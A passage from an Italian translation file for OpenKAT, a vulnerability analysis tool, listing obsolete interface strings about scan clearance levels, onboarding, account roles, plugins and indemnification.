clearance level for:\"\n#~ msgstr \"Imposta il livello di autorizzazione per:\"\n\n#~ msgid \"Setting the scan level from \\\\\"\n#~ msgstr \"Impostare il livello di scansione da \\\\\"\n\n#~ msgid \"You are about to set the clearance level from \\\\\"\n#~ msgstr \"Stai per impostare il livello di autorizzazione da \\\\\"\n\n#~ msgid \"Yes, set to inherit\"\n#~ msgstr \"Sì, impostato per ereditare\"\n\n#, python-format\n#~ msgid \"Successfully set scan profile to %s for %d oois.\"\n#~ msgstr \"Impostato con successo il profilo di scansione su %s per %d OOI.\"\n\n#, python-format\n#~ msgid \"Successfully set %d ooi(s) clearance level to inherit.\"\n#~ msgstr \"\"\n#~ \"Impostato con successo il livello di autorizzazione ereditato per %d OOI.\"\n\n#~ msgid \"\"\n#~ \"An error occurred while deleting oois: one of the OOIs doesn't exist.\"\n#~ msgstr \"\"\n#~ \"Si è verificato un errore durante l'eliminazione degli OOI: uno degli OOI \"\n#~ \"non esiste.\"\n\n#, python-brace-format\n#~ msgid \"Can not reset scan level. Scan level of {ooi_name} not declared\"\n#~ msgstr \"\"\n#~ \"Impossibile reimpostare il livello di scansione. Livello di scansione di \"\n#~ \"{ooi_name} non dichiarato\"\n\n#~ msgid \"The Email must be set\"\n#~ msgstr \"L'indirizzo email deve essere impostato\"\n\n#~ msgid \"E-mail address\"\n#~ msgstr \"Indirizzo e-mail\"\n\n#~ msgid \"\"\n#~ \"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n#~ \"analog). <br> Our motto is therefore: I see, I see, what you do not see.\"\n#~ msgstr \"\"\n#~ \"Decine di strumenti sono integrati in OpenKAT per visualizzare il mondo \"\n#~ \"(digitale e analogico). <br> Il nostro motto è quindi: Io vedo, io vedo, \"\n#~ \"ciò che tu non vedi.\"\n\n#~ msgid \"E-mail\"\n#~ msgstr \"E-mail\"\n\n#, python-brace-format\n#~ msgid \"A unique code of {code_length} characters.\"\n#~ msgstr \"Un codice unico di {code_length} caratteri.\"\n\n#~ msgid \"\"\n#~ \"I declare that OpenKAT may scan the assets of my organization and that I \"\n#~ \"have permission to scan these assets. I am aware of the implications a \"\n#~ \"scan with a higher scan level brings on my systems.\"\n#~ msgstr \"\"\n#~ \"Dichiaro che OpenKAT può esaminare gli asset della mia organizzazione e \"\n#~ \"che ho il permesso di esaminare questi asset. Sono consapevole delle \"\n#~ \"implicazioni che una scansione con un livello di scansione più elevato \"\n#~ \"comporta per i miei sistemi.\"\n\n#~ msgid \"\"\n#~ \"I declare that I am authorized to give this indemnification within my \"\n#~ \"organization. I have the experience and knowledge to know what the \"\n#~ \"consequences might be and can be held responsible for them.\"\n#~ msgstr \"\"\n#~ \"Dichiaro di essere autorizzato a fornire questa indennità all'interno \"\n#~ \"della mia organizzazione. Ho l'esperienza e la conoscenza necessarie per \"\n#~ \"conoscere quali potrebbero essere le conseguenze e posso essere ritenuto \"\n#~ \"responsabile per esse.\"\n\n#~ msgid \"Register\"\n#~ msgstr \"Registra\"\n\n#~ msgid \"Create a new account for your organization\"\n#~ msgstr \"Crea un nuovo account per la tua organizzazione\"\n\n#~ msgid \"\"\n#~ \"All user  accounts are part of an organization. So if you’re new and your \"\n#~ \"company is also new to OpenKAT you can register here to create a OpenKAT \"\n#~ \"account for your company including an admin account for you. If you like \"\n#~ \"a user account that is connected to an already existing organization \"\n#~ \"within OpenKAT you can ask the admin to create an account for you.\"\n#~ msgstr \"\"\n#~ \"Tutti gli account utente fanno parte di un'organizzazione. Quindi, se sei \"\n#~ \"nuovo e la tua azienda è anche nuova in OpenKAT, puoi registrarti qui per \"\n#~ \"creare un account OpenKAT per la tua azienda, compreso un account \"\n#~ \"amministratore per te. Se desideri un account utente collegato a \"\n#~ \"un'organizzazione già esistente in OpenKAT, puoi chiedere \"\n#~ \"all'amministratore di crearne uno per te.\"\n\n#~ msgid \"How does OpenKAT work\"\n#~ msgstr \"Come funziona OpenKAT\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data. OpenKAT \"\n#~ \"uses scans to find and assess the area's that might be at risk and \"\n#~ \"reports these back to you. As a user you decide which insight you would \"\n#~ \"like and OpenKAT guides you to through the process. During this \"\n#~ \"introduction you will be guided through the steps to create a report.\"\n#~ msgstr \"\"\n#~ \"OpenKAT è in grado di fornire informazioni sui rischi di sicurezza dei \"\n#~ \"tuoi oggetti online. Ad esempio, i tuoi siti web, i server di posta o i \"\n#~ \"dati online. OpenKAT utilizza scansioni per individuare e valutare le \"\n#~ \"aree che potrebbero essere a rischio e ti segnala queste informazioni. \"\n#~ \"Come utente, decidi quali informazioni desideri e OpenKAT ti guida nel \"\n#~ \"processo. Durante questa introduzione sarai guidato attraverso i passaggi \"\n#~ \"per creare un rapporto.\"\n\n#~ msgid \"OpenKAT setup\"\n#~ msgstr \"Configurazione di OpenKAT\"\n\n#~ msgid \"\"\n#~ \"Please enter the following organization details. These details can be \"\n#~ \"edited within the organization page within OpenKAT when necessary. Adding \"\n#~ \"a new organization requires a new database.\"\n#~ msgstr \"\"\n#~ \"Inserisci i seguenti dettagli dell'organizzazione. Questi dettagli \"\n#~ \"possono essere modificati nella pagina dell'organizzazione in OpenKAT \"\n#~ \"quando necessario. L'aggiunta di una nuova organizzazione richiede un \"\n#~ \"nuovo database.\"\n\n#~ msgid \"Account setup\"\n#~ msgstr \"Configurazione dell'account\"\n\n#~ msgid \"Organization setup with separate accounts:\"\n#~ msgstr \"Configurazione dell'organizzazione con account separati:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT it is possible to create separate user accounts with the \"\n#~ \"specific roles. Each with their own functionalities and permissions. This \"\n#~ \"is useful when multiple people will be working with the same OpenKAT-\"\n#~ \"setup. You can choose to create the separate accounts during this \"\n#~ \"introduction or when you’re ready from the OpenKAT users page.\"\n#~ msgstr \"\"\n#~ \"In OpenKAT è possibile creare account utente separati con ruoli \"\n#~ \"specifici. Ognuno con le proprie funzionalità e autorizzazioni. Questo è \"\n#~ \"utile quando più persone lavoreranno con la stessa configurazione di \"\n#~ \"OpenKAT. Puoi scegliere di creare gli account separati durante questa \"\n#~ \"introduzione o quando sei pronto dalla pagina degli utenti di OpenKAT.\"\n\n#~ msgid \"Single account setup:\"\n#~ msgstr \"Configurazione dell'account singolo:\"\n\n#~ msgid \"\"\n#~ \"Alternatively it is also an option to run OpenKAT from a single user \"\n#~ \"account. Which is useful when you are the only user in the account. You \"\n#~ \"will be able to access the functionality of the different roles from your \"\n#~ \"account. You can always add additional user accounts If you’re team \"\n#~ \"expands in the future.\"\n#~ msgstr \"\"\n#~ \"In alternativa, è anche possibile eseguire OpenKAT da un singolo account \"\n#~ \"utente. Questo è utile quando sei l'unico utente nell'account. Sarai in \"\n#~ \"grado di accedere alle funzionalità dei diversi ruoli dal tuo account. \"\n#~ \"Puoi sempre aggiungere ulteriori account utente se il tuo team si espande \"\n#~ \"in futuro.\"\n\n#~ msgid \"Create separate accounts\"\n#~ msgstr \"Crea account separati\"\n\n#~ msgid \"Continue with this account, onboard me!\"\n#~ msgstr \"Continua con questo account, accoglimi!\"\n\n#~ msgid \"Users\"\n#~ msgstr \"Utenti\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT there are three types of user accounts. Each has its own \"\n#~ \"functions.\"\n#~ msgstr \"\"\n#~ \"In OpenKAT ci sono tre tipi di account utente. Ciascuno ha le proprie \"\n#~ \"funzioni.\"\n\n#~ msgid \"Admin\"\n#~ msgstr \"Amministratore\"\n\n#~ msgid \"\"\n#~ \"Each organization must have an admin. The admin can create and manage \"\n#~ \"user accounts as well as organization details.\"\n#~ msgstr \"\"\n#~ \"Ogni organizzazione deve avere un amministratore. L'amministratore può \"\n#~ \"creare e gestire gli account utente e i dettagli dell'organizzazione.\"\n\n#~ msgid \"Red teamer\"\n#~ msgstr \"Red teamer\"\n\n#~ msgid \"A red teamer account can run scans and generate reports.\"\n#~ msgstr \"Un account red teamer può eseguire scansioni e generare rapporti.\"\n\n#~ msgid \"Client account\"\n#~ msgstr \"Account cliente\"\n\n#~ msgid \"A client account can access reports.\"\n#~ msgstr \"Un account cliente può accedere ai rapporti.\"\n\n#~ msgid \"\"\n#~ \"Each organization requires at least one admin and one red teamer account \"\n#~ \"to function. This introduction will guide you through the setup of both. \"\n#~ \"After that you can choose to add a client account as well.\"\n#~ msgstr \"\"\n#~ \"Ogni organizzazione richiede almeno un account amministratore e un \"\n#~ \"account red teamer per funzionare. Questa introduzione ti guiderà nella \"\n#~ \"configurazione di entrambi. Dopo di che, puoi scegliere se aggiungere \"\n#~ \"anche un account cliente.\"\n\n#~ msgid \"Let's add accounts\"\n#~ msgstr \"Aggiungiamo account\"\n\n#~ msgid \"Admin account setup\"\n#~ msgstr \"Configurazione dell'account amministratore\"\n\n#~ msgid \"Admin details\"\n#~ msgstr \"Dettagli amministratore\"\n\n#~ msgid \"Skip this step\"\n#~ msgstr \"Salta questo passaggio\"\n\n#~ msgid \"Go back to previous step\"\n#~ msgstr \"Torna al passaggio precedente\"\n\n#~ msgid \"Red teamer account setup\"\n#~ msgstr \"Configurazione dell'account red teamer\"\n\n#~ msgid \"Red teamer details\"\n#~ msgstr \"Dettagli red teamer\"\n\n#~ msgid \"Client account setup (optional)\"\n#~ msgstr \"Configurazione dell'account cliente (opzionale)\"\n\n#~ msgid \"\"\n#~ \"A client account can access reports. Adding a client account to the \"\n#~ \"organization is optional.\"\n#~ msgstr \"\"\n#~ \"Un account cliente può accedere ai rapporti. Aggiungere un account \"\n#~ \"cliente all'organizzazione è facoltativo.\"\n\n#~ msgid \"User details\"\n#~ msgstr \"Dettagli dell'utente\"\n\n#~ msgid \"Finish organization setup\"\n#~ msgstr \"Completa la configurazione dell'organizzazione\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is the \\\"Kwetsbaarheden Analyse Tool\\\" (Vulnerabilities Analysis \"\n#~ \"Tool). An Open-Source-project developed by the Ministry of Health, \"\n#~ \"Welfare and Sport to make your and our world a safer place.\"\n#~ msgstr \"\"\n#~ \"OpenKAT è lo \\\"Strumento di Analisi delle \"\n#~ \"Vulnerabilità\\\" (Vulnerabilities Analysis Tool). Un progetto open source \"\n#~ \"sviluppato dal Ministero della Salute, del Benessere e dello Sport per \"\n#~ \"rendere il nostro mondo e il vostro un luogo più sicuro.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data.\"\n#~ msgstr \"\"\n#~ \"OpenKAT è in grado di fornire una visione dei rischi di sicurezza sui \"\n#~ \"tuoi oggetti online. Ad esempio, i tuoi siti web, server di posta o dati \"\n#~ \"online.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to find and assess the area's that might be at risk \"\n#~ \"and reports these back to you. Each plugin has its own skillset which \"\n#~ \"could be scanning, normalizing or analyzing data. As a user you decide \"\n#~ \"which areas you would like to monitor or scan and which insight you would \"\n#~ \"like to receive.\"\n#~ msgstr \"\"\n#~ \"OpenKAT utilizza i plugin per individuare e valutare le aree che \"\n#~ \"potrebbero essere a rischio e ti segnala queste informazioni. Ogni plugin \"\n#~ \"ha le sue competenze specifiche, che possono essere la scansione, la \"\n#~ \"normalizzazione o l'analisi dei dati. Come utente, decidi quali aree \"\n#~ \"desideri monitorare o scansionare e quali informazioni desideri ricevere.\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view the insights as well as all the data OpenKAT \"\n#~ \"has found. You can choose to browse through the data or view reports.\"\n#~ msgstr \"\"\n#~ \"All'interno di OpenKAT puoi visualizzare le informazioni così come tutti \"\n#~ \"i dati trovati da OpenKAT. Puoi scegliere se sfogliare i dati o \"\n#~ \"visualizzare i rapporti.\"\n\n#~ msgid \"\"\n#~ \"During this introduction you will be guided through the steps to create a \"\n#~ \"report.\"\n#~ msgstr \"\"\n#~ \"Durante questa introduzione sarai guidato attraverso i passaggi per \"\n#~ \"creare un rapporto.\"\n\n#~ msgid \"OpenKAT introduction\"\n#~ msgstr \"Introduzione a OpenKAT\"\n\n#~ msgid \"Choose a report - Introduction\"\n#~ msgstr \"Scegli un report - Introduzione\"\n\n#~ msgid \"\"\n#~ \"Reports within OpenKAT contain an overview of the scanned objects, issues \"\n#~ \"found within them and known security risks that the object might be \"\n#~ \"vulnerable to. Each report gives a high overview of the state of the \"\n#~ \"object as well as detailed information on what OpenKAT found and possible \"\n#~ \"solutions.\"\n#~ msgstr \"\"\n#~ \"I report in OpenKAT contengono una panoramica degli oggetti analizzati, \"\n#~ \"dei problemi riscontrati al loro interno e dei rischi di sicurezza \"\n#~ \"conosciuti a cui l'oggetto potrebbe essere vulnerabile. Ogni report \"\n#~ \"fornisce una panoramica generale dello stato dell'oggetto e informazioni \"\n#~ \"dettagliate su ciò che OpenKAT ha trovato e soluzioni possibili.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT can scan and analyze by using plugins. Each plugin has it's \"\n#~ \"unique skillset and will collect specific data or give specific insights. \"\n#~ \"You manage the plugins within your account which let's OpenKAT know which \"\n#~ \"plugins to run and on which objects or areas.\"\n#~ msgstr \"\"\n#~ \"OpenKAT può eseguire scansioni e analisi utilizzando plugin. Ogni plugin \"\n#~ \"ha la sua unica abilità e raccoglierà dati specifici o fornirà \"\n#~ \"informazioni specifiche. Gestisci i plugin all'interno del tuo account \"\n#~ \"che consentono a OpenKAT di sapere quali plugin eseguire e su quali \"\n#~ \"oggetti o aree.\"\n\n#~ msgid \"Generating a report\"\n#~ msgstr \"Generare un report\"\n\n#~ msgid \"\"\n#~ \"When you choose a report type OpenKAT will guide you through the setup. \"\n#~ \"OpenKAT will ask the necessary questions based on the input the report \"\n#~ \"needs, as well as asks for permission to run plugins that you haven’t \"\n#~ \"enabled yet but are needed to collect or analyze the data.\"\n#~ msgstr \"\"\n#~ \"Quando scegli un tipo di report, OpenKAT ti guiderà attraverso la \"\n#~ \"configurazione. OpenKAT farà le domande necessarie in base all'input \"\n#~ \"richiesto dal report, e chiederà l'autorizzazione per eseguire plugin che \"\n#~ \"non hai ancora abilitato ma che sono necessari per raccogliere o \"\n#~ \"analizzare i dati.\"\n\n#~ msgid \"\"\n#~ \"You can also choose to look at the collected data directly or generate \"\n#~ \"your own report by selecting and running plugins on objects of your \"\n#~ \"choice. OpenKAT will present the results.\"\n#~ msgstr \"\"\n#~ \"Puoi anche scegliere di visualizzare direttamente i dati raccolti o \"\n#~ \"generare il tuo report selezionando ed eseguendo plugin sugli oggetti di \"\n#~ \"tua scelta. OpenKAT ti presenterà i risultati.\"\n\n#~ msgid \"Permission\"\n#~ msgstr \"Autorizzazione\"\n\n#~ msgid \"\"\n#~ \"Plugins can be provided by OpenKAT but they can also come from the \"\n#~ \"community. Before a plugin can run, you need to give it permission by \"\n#~ \"enabling it.\"\n#~ msgstr \"\"\n#~ \"I plugin possono essere forniti da OpenKAT, ma possono anche provenire \"\n#~ \"dalla comunità. Prima che un plugin possa essere eseguito, è necessario \"\n#~ \"concedergli l'autorizzazione abilitandolo.\"\n\n#~ msgid \"\"\n#~ \"When you generate a report. OpenKAT will let you know which plugins it \"\n#~ \"requires or suggests so you can choose to enable them.\"\n#~ msgstr \"\"\n#~ \"Quando generi un report, OpenKAT ti indicherà quali plugin sono necessari \"\n#~ \"o suggeriti in modo da poter scegliere di abilitarli.\"\n\n#~ msgid \"Let's choose a report\"\n#~ msgstr \"Scegliamo un report\"\n\n#~ msgid \"Choose a report - Type\"\n#~ msgstr \"Scegli un report - Tipo\"\n\n#~ msgid \"\"\n#~ \"When you start to generate this report. OpenKAT will guide you through \"\n#~ \"the necessary steps.\"\n#~ msgstr \"\"\n#~ \"Quando inizierai a generare questo report, OpenKAT ti guiderà attraverso \"\n#~ \"i passaggi necessari.\"\n\n#~ msgid \"Setup scan\"\n#~ msgstr \"Configura scansione\"\n\n#~ msgid \"Let OpenKAT know what object to scan\"\n#~ msgstr \"Fai sapere a OpenKAT quale oggetto analizzare\"\n\n#~ msgid \"\"\n#~ \"Plugins scan and analyze objects. OpenKAT needs to know which object(s) \"\n#~ \"you would like to scan and analyze for the DNS-report. So it can tell you \"\n#~ \"which plugins are available for the chosen object.\"\n#~ msgstr \"\"\n#~ \"I plugin scansionano e analizzano gli oggetti. OpenKAT ha bisogno di \"\n#~ \"sapere quali oggetti desideri scansionare e analizzare per il report DNS. \"\n#~ \"In questo modo ti indicherà quali plugin sono disponibili per l'oggetto \"\n#~ \"scelto.\"\n\n#~ msgid \"Understanding objects\"\n#~ msgstr \"Comprensione degli oggetti\"\n\n#~ msgid \"Creating, adding and editing objects\"\n#~ msgstr \"Creazione, aggiunta e modifica di oggetti\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view, add and edit objects from the organization’s \"\n#~ \"object page.\"\n#~ msgstr \"\"\n#~ \"All'interno di OpenKAT puoi visualizzare, aggiungere e modificare gli \"\n#~ \"oggetti dalla pagina degli oggetti dell'organizzazione.\"\n\n#~ msgid \"\"\n#~ \"Let’s add an object to scan for the DNS-Report. For this introduction we \"\n#~ \"suggest adding a URL.\"\n#~ msgstr \"\"\n#~ \"Aggiungiamo un oggetto da analizzare per il report DNS. Per questa \"\n#~ \"introduzione, ti suggeriamo di aggiungere un URL.\"\n\n#~ msgid \"Create your first object, a URL by filling out the form below.\"\n#~ msgstr \"Crea il tuo primo oggetto, un URL, compilando il modulo qui sotto.\"\n\n#~ msgid \"\"\n#~ \"Additional details and examples can be found by pressing on the help \"\n#~ \"button next to the input field.\"\n#~ msgstr \"\"\n#~ \"Ulteriori dettagli ed esempi possono essere trovati premendo il pulsante \"\n#~ \"di aiuto accanto al campo di input.\"\n\n#~ msgid \"Dependencies\"\n#~ msgstr \"Dipendenze\"\n\n#~ msgid \"\"\n#~ \"The additional objects that OpenKAT created will be added to your object \"\n#~ \"list as separate objects. If OpenKAT can’t add them automatically it will \"\n#~ \"guide you through the process of creating them manually.\"\n#~ msgstr \"\"\n#~ \"Gli oggetti aggiuntivi creati da OpenKAT verranno aggiunti alla tua lista \"\n#~ \"di oggetti come oggetti separati. Se OpenKAT non riesce ad aggiungerli \"\n#~ \"automaticamente, ti guiderà attraverso il processo di creazione manuale.\"\n\n#~ msgid \"\"\n#~ \"Based on the url you provided OpenKAT added the necessary additional \"\n#~ \"objects to create a url object.\"\n#~ msgstr \"\"\n#~ \"In base all'URL che hai fornito, OpenKAT ha aggiunto gli oggetti \"\n#~ \"aggiuntivi necessari per creare un oggetto URL.\"\n\n#~ msgid \"URL\"\n#~ msgstr \"URL\"\n\n#~ msgid \"Path\"\n#~ msgstr \"Percorso\"\n\n#~ msgid \"Hostname\"\n#~ msgstr \"Nome host\"\n\n#~ msgid \"scheme\"\n#~ msgstr \"Schema\"\n\n#~ msgid \"Network\"\n#~ msgstr \"Rete\"\n\n#~ msgid \"Start scanning\"\n#~ msgstr \"Inizia la scansione\"\n\n#~ msgid \"OpenKAT Introduction\"\n#~ msgstr \"Introduzione a OpenKAT\"\n\n#~ msgid \"Setup scan - OOI clearance for\"\n#~ msgstr \"Configura scansione - Autorizzazione OOI per\"\n\n#~ msgid \"\"\n#~ \"Some scans are lightweight while others might be a bit more aggressive \"\n#~ \"with their scanning. OpenKAT requires you to set a clearance level for \"\n#~ \"each object to prevent you from unintentionally running aggressive scans. \"\n#~ \"For example you might have the right to run any type of scan on your own \"\n#~ \"server but you probably don’t have the right to do so for objects owned \"\n#~ \"by other people of companies.\"\n#~ msgstr \"\"\n#~ \"Alcune scansioni sono leggere, mentre altre possono essere un po' più \"\n#~ \"aggressive con la loro scansione. OpenKAT ti richiede di impostare un \"\n#~ \"livello di autorizzazione per ogni oggetto per evitare di eseguire \"\n#~ \"scansioni aggressive inavvertitamente. Ad esempio, potresti avere il \"\n#~ \"diritto di eseguire qualsiasi tipo di scansione sul tuo server, ma \"\n#~ \"probabilmente non hai il diritto di farlo per gli oggetti di proprietà di \"\n#~ \"altre persone o aziende.\"\n\n#~ msgid \"How to know required clearance level\"\n#~ msgstr \"Come sapere il livello di autorizzazione richiesto\"\n\n#~ msgid \"\"\n#~ \"Each plugin that scans will have a scan intensity score. The intensity of \"\n#~ \"the scan must be equal to or below the clearance level you set for your \"\n#~ \"object. If the scan has an intensity level that is too high, OpenKAT will \"\n#~ \"notify you before running it. Visually clearance levels and intensity \"\n#~ \"scores are indicated with little cat paws.\"\n#~ msgstr \"\"\n#~ \"Ogni plugin che effettua scansioni avrà un punteggio di intensità della \"\n#~ \"scansione. L'intensità della scansione deve essere uguale o inferiore al \"\n#~ \"livello di autorizzazione che hai impostato per il tuo oggetto. Se la \"\n#~ \"scansione ha un livello di intensità troppo elevato, OpenKAT ti avviserà \"\n#~ \"prima di eseguirlo. Visivamente i livelli di autorizzazione e i punteggi \"\n#~ \"di intensità sono indicati con delle piccole zampe di gatto.\"\n\n#~ msgid \"\"\n#~ \"This scan has a scan intensity score of 1, requiring a level 1 clearance \"\n#~ \"level to be run. This means that the scan does not touch the object \"\n#~ \"itself, but only searches for information about the object.\"\n#~ msgstr \"\"\n#~ \"Questa scansione ha un punteggio di intensità della scansione pari a 1, \"\n#~ \"richiedendo un livello di autorizzazione di livello 1 per essere \"\n#~ \"eseguita. Ciò significa che la scansione non tocca direttamente l'oggetto \"\n#~ \"stesso, ma cerca solo informazioni sull'oggetto.\"\n\n#~ msgid \"\"\n#~ \"An example of a more aggressive scan. Which has a scan intensity score of \"\n#~ \"3. Meaning it requires at least a level 3 clearance level to be set on \"\n#~ \"your object.\"\n#~ msgstr \"\"\n#~ \"Un esempio di scansione più aggressiva. Che ha un punteggio di intensità \"\n#~ \"della scansione pari a 3. Ciò significa che è necessario impostare almeno \"\n#~ \"un livello di autorizzazione di livello 3 sul tuo oggetto.\"\n\n#~ msgid \"Acknowledge clearance level\"\n#~ msgstr \"Conferma il livello di autorizzazione\"\n\n#~ msgid \"Setup scan - Set clearance level for\"\n#~ msgstr \"Configura la scansione - Imposta il livello di autorizzazione per\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"After creating a new object OpenKAT will ask you to set a clearance \"\n#~ \"level. On the object detail page you can always change the clearance \"\n#~ \"level. For the onboarding we will suggest to set the clearance level to \"\n#~ \"L%(dns_report_least_clearance_level)s.\"\n#~ msgstr \"\"\n#~ \"Dopo aver creato un nuovo oggetto, OpenKAT ti chiederà di impostare un \"\n#~ \"livello di autorizzazione. Nella pagina dei dettagli dell'oggetto puoi \"\n#~ \"sempre modificare il livello di autorizzazione. Per la fase di \"\n#~ \"introduzione, ti suggeriremo di impostare il livello di autorizzazione a \"\n#~ \"L%(dns_report_least_clearance_level)s.\"\n\n#~ msgid \"Setup scan - Enable plugins\"\n#~ msgstr \"Configura la scansione - Abilita i plugin\"\n\n#~ msgid \"Plugins introduction\"\n#~ msgstr \"Introduzione ai plugin\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to scan, check and analyze. Each plugin will bring a \"\n#~ \"specific skillset that will help to generate your report. There are three \"\n#~ \"types of plugins.\"\n#~ msgstr \"\"\n#~ \"OpenKAT utilizza dei plugin per scansionare, verificare e analizzare. \"\n#~ \"Ciascun plugin porterà con sé un set di competenze specifiche che \"\n#~ \"contribuirà a generare il tuo rapporto. Ci sono tre tipi di plugin.\"\n\n#~ msgid \"\"\n#~ \"Scan objects for data. Each boefje has a scan intensity score to prevent \"\n#~ \"invasive scanning on objects where you don’t have the clearance to do so.\"\n#~ msgstr \"\"\n#~ \"Scansiona gli oggetti per ottenere dati. Ogni boefje ha un punteggio di \"\n#~ \"intensità di scansione per evitare scansioni invasive su oggetti per i \"\n#~ \"quali non hai l'autorizzazione.\"\n\n#~ msgid \"\"\n#~ \"Check the data for specific objects and add these object to your object \"\n#~ \"list.\"\n#~ msgstr \"\"\n#~ \"Controlla i dati per oggetti specifici e aggiungi questi oggetti alla tua \"\n#~ \"lista di oggetti.\"\n\n#~ msgid \"Analyze the available data to come to insights and conclusions.\"\n#~ msgstr \"\"\n#~ \"Analizza i dati disponibili per giungere a intuizioni e conclusioni.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT will be able to generate a full report when all the required and \"\n#~ \"suggested plugins are enabled. If you choose not to give a plugin \"\n#~ \"permission to run, the data that plugin would collect or produce will be \"\n#~ \"left out of the report which will then be generated based on the \"\n#~ \"available data collected by the enabled plugins. Below are the suggested \"\n#~ \"and required plugins for this report.\"\n#~ msgstr \"\"\n#~ \"OpenKAT sarà in grado di generare un rapporto completo quando tutti i \"\n#~ \"plugin richiesti e suggeriti sono abilitati. Se scegli di non concedere \"\n#~ \"l'autorizzazione a un plugin per eseguire, i dati che il plugin avrebbe \"\n#~ \"raccolto o prodotto verranno esclusi dal rapporto, che verrà quindi \"\n#~ \"generato in base ai dati disponibili raccolti dai plugin abilitati. Di \"\n#~ \"seguito sono elencati i plugin suggeriti e richiesti per questo rapporto.\"\n\n#~ msgid \"Let’s setup your scan by enabling the plugins of your choice below.\"\n#~ msgstr \"\"\n#~ \"Impostiamo la tua scansione abilitando i plugin di tua scelta qui sotto.\"\n\n#~ msgid \"\"\n#~ \"The enabled boefjes are collecting the data needed to generate the DNS-\"\n#~ \"report. This may take some time based on the type of scans and the number \"\n#~ \"of objects found. For the current scan we expect boefjes to take about 3 \"\n#~ \"minutes.\"\n#~ msgstr \"\"\n#~ \"Gli boefjes abilitati stanno raccogliendo i dati necessari per generare \"\n#~ \"il rapporto DNS. Questo potrebbe richiedere del tempo in base al tipo di \"\n#~ \"scansioni e al numero di oggetti trovati. Per la scansione attuale ci \"\n#~ \"aspettiamo che gli boefjes impieghino circa 3 minuti.\"\n\n#~ msgid \"\"\n#~ \"During this introduction we ask you to wait till the scan is ready. After \"\n#~ \"which you can view the report.\"\n#~ msgstr \"\"\n#~ \"Durante questa introduzione ti chiediamo di attendere fino a quando la \"\n#~ \"scansione sarà pronta. Dopo di che, potrai visualizzare il rapporto.\"\n\n#~ msgid \"\"\n#~ \"After the onboarding, boefjes run in the background. This enables you to \"\n#~ \"use OpenKAT in the meantime without waiting for scans to finish. When you \"\n#~ \"would like to see the status of a scan you can open the \\\"tasks\\\" page.\"\n#~ msgstr \"\"\n#~ \"Dopo l'introduzione, i boefjes vengono eseguiti in background. Ciò ti \"\n#~ \"consente di utilizzare OpenKAT nel frattempo senza dover attendere il \"\n#~ \"termine delle scansioni. Quando desideri vedere lo stato di una \"\n#~ \"scansione, puoi aprire la pagina \\\"compiti\\\".\"\n\n#~ msgid \"Open my DNS-report\"\n#~ msgstr \"Apri il mio report DNS\"\n\n#~ msgid \"1: Introduction\"\n#~ msgstr \"1: Introduzione\"\n\n#~ msgid \"2: Choose a report\"\n#~ msgstr \"2: Scegli un rapporto\"\n\n#~ msgid \"3: Setup scan\"\n#~ msgstr \"3: Imposta la scansione\"\n\n#~ msgid \"4: Open report\"\n#~ msgstr \"4: Apri il rapporto\"\n\n#~ msgid \"3: Indemnification\"\n#~ msgstr \"3: Indennizzo\"\n\n#~ msgid \"4: Account setup\"\n#~ msgstr \"4: Impostazione dell'account\"\n\n#~ msgid \"OpenKAT Setup\"\n#~ msgstr \"Impostazione di OpenKAT\"\n\n#, python-brace-format\n#~ msgid \"{name} successfully created.\"\n#~ msgstr \"{name} creato con successo.\"\n\n#~ msgid \"The name of the organisation\"\n#~ msgstr \"Il nome dell'organizzazione\"\n\n#~ msgid \"\"\n#~ \"A slug containing only lower-case unicode letters, numbers, hyphens or \"\n#~ \"underscores that will be used in URLs and paths\"\n#~ msgstr \"\"\n#~ \"Uno slug contenente solo lettere minuscole unicode, numeri, trattini o \"\n#~ \"sottolineature che verrà utilizzato negli URL e nei percorsi\"\n\n#~ msgid \"\"\n#~ \"Before you're able to add assets to OpenKAT and to assign clearance \"\n#~ \"levels, you have to give indemnification on the organization and declare \"\n#~ \"that you as a person can be held accountable.\"\n#~ msgstr \"\"\n#~ \"Prima di poter aggiungere risorse a OpenKAT e assegnare livelli di \"\n#~ \"autorizzazione, devi dare un indennizzo all'organizzazione e dichiarare \"\n#~ \"che tu come persona puoi essere ritenuto responsabile.\"\n\n#~ msgid \"Register an indemnification\"\n#~ msgstr \"Registra una indennità\"\n\n#~ msgid \"Add Finding\"\n#~ msgstr \"Aggiungi Rilevamento\"\n\n#~ msgid \"Mute Findings\"\n#~ msgstr \"Silenzia Rilevamenti\"\n\n#~ msgid \"Mute Finding\"\n#~ msgstr \"Silenzia Rilevazione\"\n\n#~ msgid \"Account Type\"\n#~ msgstr \"Tipo di account\"\n\n#~ msgid \"Every member of OpenKAT must be part of an account type.\"\n#~ msgstr \"Ogni membro di OpenKAT deve far parte di un tipo di account.\"\n\n#~ msgid \"Source OOI\"\n#~ msgstr \"OOI di origine\"\n\n#~ msgid \"Manual creation\"\n#~ msgstr \"Creazione manuale\"\n\n#~ msgid \" member account setup\"\n#~ msgstr \" configurazione dell'account del membro\"\n\n#~ msgid \"Member details\"\n#~ msgstr \"Dettagli del membro\"\n\n#~ msgid \"Member account type setup\"\n#~ msgstr \"Configurazione del tipo di account del membro\"\n\n#~ msgid \"Choose an account type for this new member.\"\n#~ msgstr \"Scegli un tipo di account per questo nuovo membro.\"\n\n#~ msgid \"Account type details\"\n#~ msgstr \"Dettagli del tipo di account\"\n\n#~ msgid \"Upload a csv file with members for organisation\"\n#~ msgstr \"Carica un file CSV con i membri per l'organizzazione\"\n\n#~ msgid \"Download the template\"\n#~ msgstr \"Scarica il modello\"\n\n#~ msgid \"or create a csv file with the following criteria\"\n#~ msgstr \"oppure crea un file CSV con i seguenti criteri\"\n\n#~ msgid \"Shown status types\"\n#~ msgstr \"Tipi di stato mostrati\"\n\n#~ msgid \"Blocked status\"\n#~ msgstr \"Stato 